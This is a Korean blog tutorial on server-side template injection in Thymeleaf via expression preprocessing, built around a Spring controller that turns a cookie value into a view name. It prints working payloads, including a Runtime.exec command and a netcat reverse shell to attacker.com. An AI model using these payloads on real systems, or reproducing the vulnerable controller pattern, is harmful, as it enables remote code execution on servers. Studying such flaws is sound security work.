Thymeleaf 기본이해
https://lovflag.tistory.com/27
일반적인 SSTI
일반적으로 SSTI 공격 구문은 템플릿 엔진에 따라 약간의 차이가 있다.
수많은 템플릿 엔진이 존재하지만, 일반적으로, Python의 Jinja2, Java 의 thymeleaf, JS의 Lessjs 등이 존재한다.
${7*7}
{{7*7}}
{% 7*7 %}
등으로 확인해 볼 수 있다.
Thymeleaf Preprocessing
타임리프는 표현식 전처리 기능을 제공한다.
이는 일반적인 표현식을 실행하기 전에 표현식을 실행하는 것으로, 이를 통해 표현식을 수정할 수 있다.
공식 문서에 따르면, __${expression}__ 과 같은 형태로 사용할 수 있다.
사용자는 이를 이용해 기존 표현식 안에서의 표현식을 사용하고, 보다 동적으로 사용 할 수 있다.
하지만, 이 기능이 SSTI 취약점의 발생 요인이 된다.
공격자가 전처리값의 내용을 제어할 수 있다면 임의의 코드를 실행할 수 있다
Thymeleaf SSTI
앞서, 타임리프의 전처리 기능을 사용하여 SSTI 를 발생 할 수 있다고 했다.
아래와 같은 코드에서, 일반적으로 java는 사용자의 쿠키 값에 따른 templates/lang/welcome.html 파일을 찾으려 할것이다.
@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang",defaultValue = "en") String lang) {
return lang + "/welcome";
}
이때, 공격자가 쿠키값을 악의적으로 조작하여 rfi 취약점 혹은 경로 탐색 취약점을 발생 할 수 있을것이라 생각 할 수 있지만, 공격자는 서버의 템플릿 파일 외에 파일에는 읽을 수 없다.
하지만 여전히 SSTI 취약점은 존재한다.
쿠키의 값에 따라 페이지를 매핑해 줄때, 공격자에 의해 lang 변수가 조작 되어 SSTI가 발생할 수 있다.
결국 다음 코드에서 사용자 입력값에대해 view 이름을 찾기위해,
@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang",defaultValue = "en") String lang) {
return lang + "/welcome";
}
다음의 DefaultRequestToViewNameTranslator 클래스에서 사용자가 입력한 값에 대해 뷰 이름으로 전달되고, 결국 이는 표현식으로 인식된다. 따라서 전처리 표현식으로 payload가 구성 될 수 있다.
@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
//getViewName
public String getViewName(HttpServletRequest request)
Translates the request URI of the incoming HttpServletRequest into the view name based on the configured parameters.
Specified by:
getViewName in interface RequestToViewNameTranslator
Parameters:
request - the incoming HttpServletRequest providing the context from which a view name is to be resolved
Returns:
the view name, or null if no default found
Throws:
IllegalArgumentException - if neither a parsed RequestPath, nor a String lookupPath have been resolved and cached as a request attribute.
(getViewName 정보)
앞서 말했듯이, __${expression}__ 과 같은 전처리 방식에서 타임리프 상에 어떠한 코드도 실행 될 수 있으므로, payload 가 동작하기 위해 __${payload}__ ::.x 와 같은 형식이 된다.
이에, 일반적인 payload는 다음과 같다.
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
exec() 로 rce가 가능하게 되었기때문에, reverse shell 등 다른 공격으로도 이어질 수 있다.
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("nc attacker.com 443 -e "/bin/sh").getInputStream()).next()}__::.x
Reference
https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
https://github.com/veracode-research/spring-view-manipulation
https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#preprocessing
'Web > Java, Kotlin' 카테고리의 다른 글
[Android] Glide 이미지 재로딩시 실패 오류 해결 (0) | 2023.10.11 |
---|---|
[Android / Kotlin] Recyclerview + data binding 데이터 값에 따른 이미지 출력 여부 결정 (0) | 2023.09.19 |
타임리프(Thymeleaf) 템플릿 엔진 알아보기(1) - 조건문,반복문,기본 문법, 사용법 (0) | 2023.03.10 |
[Spring,Spring boot] Spring 4 shell 취약점 분석 및 재현 (0) | 2023.01.27 |